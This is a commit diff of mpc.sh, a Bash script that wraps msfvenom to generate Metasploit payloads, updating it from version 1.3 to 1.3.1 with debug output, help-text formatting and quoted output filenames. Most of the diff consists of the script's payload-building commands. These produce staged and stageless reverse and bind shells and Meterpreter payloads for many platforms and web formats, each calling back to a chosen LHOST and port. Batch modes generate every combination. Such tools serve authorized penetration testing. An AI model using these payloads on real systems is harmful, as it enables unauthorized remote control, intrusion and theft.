1
1
#! /bin/bash
2
2
# -Metadata----------------------------------------------------#
3
- # Filename: mpc.sh (v1.3) (Update: 2015-07-20 ) #
3
+ # Filename: mpc.sh (v1.3.1 ) (Update: 2015-07-24 ) #
4
4
# -Info--------------------------------------------------------#
5
5
# Quickly generate Metasploit payloads using msfvenom. #
6
6
# -Author(s)---------------------------------------------------#
@@ -122,7 +122,10 @@ function doAction {
122
122
\r m -f /tmp/mpc.out
123
123
else
124
124
echo -e " ${YELLOW} [i]${RESET} Something went wrong. ${RED} Issue creating file${RESET} =(." >&2
125
- echo -e " \n----------------------------------------------------------------------------------------${RED} "
125
+ echo -e " \n----------------------------------------------------------------------------------------"
126
+ [ -e " /usr/share/metasploit-framework/build_rev.txt" ] && \c at /usr/share/metasploit-framework/build_rev.txt || \m sfconsole -v
127
+ \u name -a
128
+ echo -e " ----------------------------------------------------------------------------------------${RED} "
126
129
\c at /tmp/mpc.out
127
130
echo -e " ${RESET} ----------------------------------------------------------------------------------------\n"
128
131
fi
@@ -153,13 +156,13 @@ EOF
153
156
154
157
# # doAction
155
158
function doHelp {
156
- echo -e " \n ${YELLOW} [i]${RESET} ${BLUE}${0}${RESET} <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)"
157
- echo -e " ${YELLOW} [i]${RESET} Example: ${0} windows 192.168.1.10 # Windows & manual IP."
158
- echo -e " ${YELLOW} [i]${RESET} ${0} elf eth0 4444 # Linux, eth0's IP & manual port."
159
- echo -e " ${YELLOW} [i]${RESET} ${0} stageless cmd py verbose # Python, stageless command prompt."
160
- echo -e " ${YELLOW} [i]${RESET} ${0} loop eth1 # A payload for every type, using eth1's IP."
161
- echo -e " ${YELLOW} [i]${RESET} ${0} msf batch wan # All possible Meterpreter payloads, using WAN IP."
162
- echo -e " ${YELLOW} [i]${RESET} ${0} help verbose # This help screen, with even more information."
159
+ echo -e " \n ${YELLOW} [i]${RESET} ${BLUE}${0}${RESET} <${BOLD} TYPE${RESET} > (<${BOLD} DOMAIN/IP${RESET} >) (<${BOLD} PORT${RESET} >) (<${BOLD} CMD/MSF${RESET} >) (<${BOLD} BIND/REVERSE${RESET} >) (<${BOLD} STAGED/STAGELESS${RESET} >) (<${BOLD} TCP/HTTP/HTTPS/FIND_PORT${RESET} >) (<${BOLD} BATCH/LOOP${RESET} >) (<${BOLD} VERBOSE${RESET} >)"
160
+ echo -e " ${YELLOW} [i]${RESET} Example: ${BLUE}${ 0} windows 192.168.1.10${RESET} # Windows & manual IP."
161
+ echo -e " ${YELLOW} [i]${RESET} ${BLUE}${ 0} elf bind eth0 4444${RESET} # Linux, eth0's IP & manual port."
162
+ echo -e " ${YELLOW} [i]${RESET} ${BLUE}${ 0} stageless cmd py https ${RESET} # Python, stageless command prompt."
163
+ echo -e " ${YELLOW} [i]${RESET} ${BLUE}${ 0} verbose loop eth1${RESET} # A payload for every type, using eth1's IP."
164
+ echo -e " ${YELLOW} [i]${RESET} ${BLUE}${ 0} msf batch wan${RESET} # All possible Meterpreter payloads, using WAN IP."
165
+ echo -e " ${YELLOW} [i]${RESET} ${BLUE}${ 0} help verbose${RESET} # Help screen, with even more information."
163
166
echo " "
164
167
echo -e " ${YELLOW} [i]${RESET} <${BOLD} TYPE${RESET} >:"
165
168
echo -e " ${YELLOW} [i]${RESET} + ${YELLOW} ASP${RESET} "
@@ -210,7 +213,7 @@ function doHelp {
210
213
[[ " ${VERBOSE} " == " true" ]] && echo -e " ${YELLOW} [i]${RESET} By altering the traffic, such as <${BOLD} HTTP${RESET} > and even more ${BOLD} <HTTPS${RESET} >, it ${YELLOW} will slow down the communication & increase the payload size${RESET} ."
211
214
[[ " ${VERBOSE} " == " true" ]] && echo -e " ${YELLOW} [i]${RESET} ${YELLOW} More information${RESET} : https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication"
212
215
echo " "
213
- echo -e " ${YELLOW} [i]${RESET} <${BOLD} BATCH${RESET} > will generate ${YELLOW} as many combinations as possible${RESET} : <${BOLD} TYPE${RESET} >, <${BOLD} CMD + MSF${RESET} >, <${BOLD} BIND + REVERSE${RESET} >, <${BOLD} STAGED + STAGLESS${RESET} > & <${BOLD} TCP + HTTP + HTTPS + FIND_PORT${RESET} > "
216
+ echo -e " ${YELLOW} [i]${RESET} <${BOLD} BATCH${RESET} > will generate ${YELLOW} as many combinations as possible${RESET} : <${BOLD} TYPE${RESET} >, <${BOLD} CMD${RESET} + ${BOLD} MSF${RESET} >, <${BOLD} BIND${RESET} + ${BOLD} REVERSE${RESET} >, <${BOLD} STAGED${RESET} + ${BOLD} STAGLESS${RESET} > & <${BOLD} TCP${RESET} + ${BOLD} HTTP${RESET} + ${BOLD} HTTPS${RESET} + ${BOLD} FIND_PORT${RESET} > "
214
217
echo -e " ${YELLOW} [i]${RESET} <${BOLD} LOOP${RESET} > will just create ${YELLOW} one of each${RESET} <${BOLD} TYPE${RESET} >."
215
218
echo " "
216
219
echo -e " ${YELLOW} [i]${RESET} <${BOLD} VERBOSE${RESET} > will display ${YELLOW} more information${RESET} ."
@@ -222,7 +225,7 @@ function doHelp {
222
225
223
226
224
227
# # Banner
225
- echo -e " ${BLUE} [*]${RESET} ${BLUE} M${RESET} sfvenom ${BLUE} P${RESET} ayload ${BLUE} C${RESET} reator (${BLUE} MPC${RESET} v${BLUE} 1.3${RESET} )"
228
+ echo -e " ${BLUE} [*]${RESET} ${BLUE} M${RESET} sfvenom ${BLUE} P${RESET} ayload ${BLUE} C${RESET} reator (${BLUE} MPC${RESET} v${BLUE} 1.3.1 ${RESET} )"
226
229
227
230
228
231
# # Check system
@@ -544,7 +547,7 @@ if [[ "${TYPE}" == "asp" ]]; then
544
547
TYPE=" windows"
545
548
FILEEXT=" asp"
546
549
PAYLOAD=" ${TYPE} /${SHELL}${_STAGE}${DIRECTION} _${METHOD} "
547
- CMD=" msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform ${TYPE} -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} "
550
+ CMD=" msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform ${TYPE} -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > ' ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} ' "
548
551
doAction " ${TYPE} " " ${IP} " " ${PORT} " " ${PAYLOAD} " " ${CMD} " " ${FILEEXT} " " ${SHELL} " " ${DIRECTION} " " ${STAGE} " " ${METHOD} " " ${VERBOSE} "
549
552
550
553
# # ASPX
@@ -556,7 +559,7 @@ elif [[ "${TYPE}" == "aspx" ]]; then
556
559
TYPE=" windows"
557
560
FILEEXT=" aspx"
558
561
PAYLOAD=" ${TYPE} /${SHELL}${_STAGE}${DIRECTION} _${METHOD} "
559
- CMD=" msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform ${TYPE} -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} "
562
+ CMD=" msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform ${TYPE} -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > ' ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} ' "
560
563
doAction " ${TYPE} " " ${IP} " " ${PORT} " " ${PAYLOAD} " " ${CMD} " " ${FILEEXT} " " ${SHELL} " " ${DIRECTION} " " ${STAGE} " " ${METHOD} " " ${VERBOSE} "
561
564
562
565
# # Bash
@@ -575,7 +578,7 @@ elif [[ "${TYPE}" == "bash" || "${TYPE}" == "sh" ]]; then
575
578
TYPE=" bash"
576
579
FILEEXT=" sh"
577
580
PAYLOAD=" cmd/unix${_STAGE}${DIRECTION} _bash"
578
- CMD=" msfvenom -p ${PAYLOAD} -f raw --platform unix -e generic/none -a cmd LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} "
581
+ CMD=" msfvenom -p ${PAYLOAD} -f raw --platform unix -e generic/none -a cmd LHOST=${IP} LPORT=${PORT} > ' ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} ' "
579
582
doAction " ${TYPE} " " ${IP} " " ${PORT} " " ${PAYLOAD} " " ${CMD} " " ${FILEEXT} " " ${SHELL} " " ${DIRECTION} " " ${STAGE} " " ${METHOD} " " ${VERBOSE} "
580
583
581
584
# # Java
@@ -589,7 +592,7 @@ elif [[ "${TYPE}" == "java" || "${TYPE}" == "jsp" ]]; then
589
592
TYPE=" java"
590
593
FILEEXT=" jsp"
591
594
PAYLOAD=" ${TYPE} /${SHELL}${_STAGE}${DIRECTION} _${METHOD} "
592
- CMD=" msfvenom -p ${PAYLOAD} -f raw --platform ${TYPE} -e generic/none -a ${TYPE} LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} "
595
+ CMD=" msfvenom -p ${PAYLOAD} -f raw --platform ${TYPE} -e generic/none -a ${TYPE} LHOST=${IP} LPORT=${PORT} > ' ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} ' "
593
596
doAction " ${TYPE} " " ${IP} " " ${PORT} " " ${PAYLOAD} " " ${CMD} " " ${FILEEXT} " " ${SHELL} " " ${DIRECTION} " " ${STAGE} " " ${METHOD} " " ${VERBOSE} "
594
597
595
598
# # Linux
@@ -603,7 +606,7 @@ elif [[ "${TYPE}" == "linux" || "${TYPE}" == "lin" || "${TYPE}" == "elf" ]]; the
603
606
TYPE=" linux"
604
607
FILEEXT=" elf" # bin
605
608
PAYLOAD=" ${TYPE} /x86/${SHELL}${_STAGE}${DIRECTION} _${METHOD} "
606
- CMD=" msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform ${TYPE} -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} "
609
+ CMD=" msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform ${TYPE} -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > ' ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} ' "
607
610
doAction " ${TYPE} " " ${IP} " " ${PORT} " " ${PAYLOAD} " " ${CMD} " " ${FILEEXT} " " ${SHELL} " " ${DIRECTION} " " ${STAGE} " " ${METHOD} " " ${VERBOSE} "
608
611
609
612
# # OSX
@@ -619,7 +622,7 @@ elif [[ "${TYPE}" == "osx" || "${TYPE}" == "macho" ]]; then
619
622
TYPE=" osx"
620
623
FILEEXT=" macho"
621
624
PAYLOAD=" osx/x86/${SHELL}${_STAGE}${DIRECTION} _${METHOD} "
622
- CMD=" msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform ${TYPE} -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} "
625
+ CMD=" msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform ${TYPE} -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > ' ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} ' "
623
626
doAction " ${TYPE} " " ${IP} " " ${PORT} " " ${PAYLOAD} " " ${CMD} " " ${FILEEXT} " " ${SHELL} " " ${DIRECTION} " " ${STAGE} " " ${METHOD} " " ${VERBOSE} "
624
627
625
628
# # Perl
@@ -635,7 +638,7 @@ elif [[ "${TYPE}" == "perl" || "${TYPE}" == "pl" ]]; then
635
638
TYPE=" linux"
636
639
FILEEXT=" pl"
637
640
PAYLOAD=" cmd/unix${_STAGE}${DIRECTION} _perl"
638
- CMD=" msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform unix -a cmd -e generic/none LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} "
641
+ CMD=" msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform unix -a cmd -e generic/none LHOST=${IP} LPORT=${PORT} > ' ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} ' "
639
642
doAction " ${TYPE} " " ${IP} " " ${PORT} " " ${PAYLOAD} " " ${CMD} " " ${FILEEXT} " " ${SHELL} " " ${DIRECTION} " " ${STAGE} " " ${METHOD} " " ${VERBOSE} "
640
643
641
644
# # PHP
@@ -649,7 +652,7 @@ elif [[ "${TYPE}" == "php" ]]; then
649
652
TYPE=" php"
650
653
FILEEXT=" php"
651
654
PAYLOAD=" ${TYPE} /${SHELL}${_STAGE}${DIRECTION} _${METHOD} "
652
- CMD=" msfvenom -p ${PAYLOAD} -f raw --platform ${TYPE} -e generic/none -a ${TYPE} LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} "
655
+ CMD=" msfvenom -p ${PAYLOAD} -f raw --platform ${TYPE} -e generic/none -a ${TYPE} LHOST=${IP} LPORT=${PORT} > ' ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} ' "
653
656
doAction " ${TYPE} " " ${IP} " " ${PORT} " " ${PAYLOAD} " " ${CMD} " " ${FILEEXT} " " ${SHELL} " " ${DIRECTION} " " ${STAGE} " " ${METHOD} " " ${VERBOSE} "
654
657
655
658
# # Powershell
@@ -660,7 +663,7 @@ elif [[ "${TYPE}" == "powershell" || "${TYPE}" == "ps1" ]]; then
660
663
TYPE=" windows"
661
664
FILEEXT=" ps1"
662
665
PAYLOAD=" ${TYPE} /${SHELL}${_STAGE}${DIRECTION} _${METHOD} "
663
- CMD=" msfvenom -p ${PAYLOAD} -f ps1 --platform ${TYPE} -e generic/none -a x86 LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} "
666
+ CMD=" msfvenom -p ${PAYLOAD} -f ps1 --platform ${TYPE} -e generic/none -a x86 LHOST=${IP} LPORT=${PORT} > ' ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} ' "
664
667
doAction " ${TYPE} " " ${IP} " " ${PORT} " " ${PAYLOAD} " " ${CMD} " " ${FILEEXT} " " ${SHELL} " " ${DIRECTION} " " ${STAGE} " " ${METHOD} " " ${VERBOSE} "
665
668
666
669
# # Python
@@ -678,7 +681,7 @@ elif [[ "${TYPE}" == "python" || "${TYPE}" == "py" ]]; then
678
681
TYPE=" python"
679
682
FILEEXT=" py"
680
683
PAYLOAD=" ${TYPE} /${SHELL}${_STAGE}${DIRECTION} _${METHOD} "
681
- CMD=" msfvenom -p ${PAYLOAD} -f raw --platform ${TYPE} -e generic/none -a ${TYPE} LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} "
684
+ CMD=" msfvenom -p ${PAYLOAD} -f raw --platform ${TYPE} -e generic/none -a ${TYPE} LHOST=${IP} LPORT=${PORT} > ' ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} ' "
682
685
doAction " ${TYPE} " " ${IP} " " ${PORT} " " ${PAYLOAD} " " ${CMD} " " ${FILEEXT} " " ${SHELL} " " ${DIRECTION} " " ${STAGE} " " ${METHOD} " " ${VERBOSE} "
683
686
684
687
# # Tomcat
@@ -696,7 +699,7 @@ elif [[ "${TYPE}" == "tomcat" || "${TYPE}" == "war" ]]; then
696
699
TYPE=" tomcat"
697
700
FILEEXT=" war"
698
701
PAYLOAD=" java/${SHELL}${_STAGE}${DIRECTION} _${METHOD} "
699
- CMD=" msfvenom -p ${PAYLOAD} -f raw --platform java -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} "
702
+ CMD=" msfvenom -p ${PAYLOAD} -f raw --platform java -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > ' ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} ' "
700
703
doAction " ${TYPE} " " ${IP} " " ${PORT} " " ${PAYLOAD} " " ${CMD} " " ${FILEEXT} " " ${SHELL} " " ${DIRECTION} " " ${STAGE} " " ${METHOD} " " ${VERBOSE} "
701
704
702
705
# # Windows
@@ -708,7 +711,7 @@ elif [[ "${TYPE}" == "windows" || "${TYPE}" == "win" || "${TYPE}" == "exe" ]]; t
708
711
TYPE=" windows"
709
712
FILEEXT=" exe"
710
713
PAYLOAD=" ${TYPE} /${SHELL}${_STAGE}${DIRECTION} _${METHOD} "
711
- CMD=" msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform ${TYPE} -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} "
714
+ CMD=" msfvenom -p ${PAYLOAD} -f ${FILEEXT} --platform ${TYPE} -a x86 -e generic/none LHOST=${IP} LPORT=${PORT} > ' ${OUTPATH}${TYPE} -${SHELL} -${STAGE} -${DIRECTION} -${METHOD} -${PORT} .${FILEEXT} ' "
712
715
doAction " ${TYPE} " " ${IP} " " ${PORT} " " ${PAYLOAD} " " ${CMD} " " ${FILEEXT} " " ${SHELL} " " ${DIRECTION} " " ${STAGE} " " ${METHOD} " " ${VERBOSE} "
713
716
714
717
# Batch/Loop modes
0 commit comments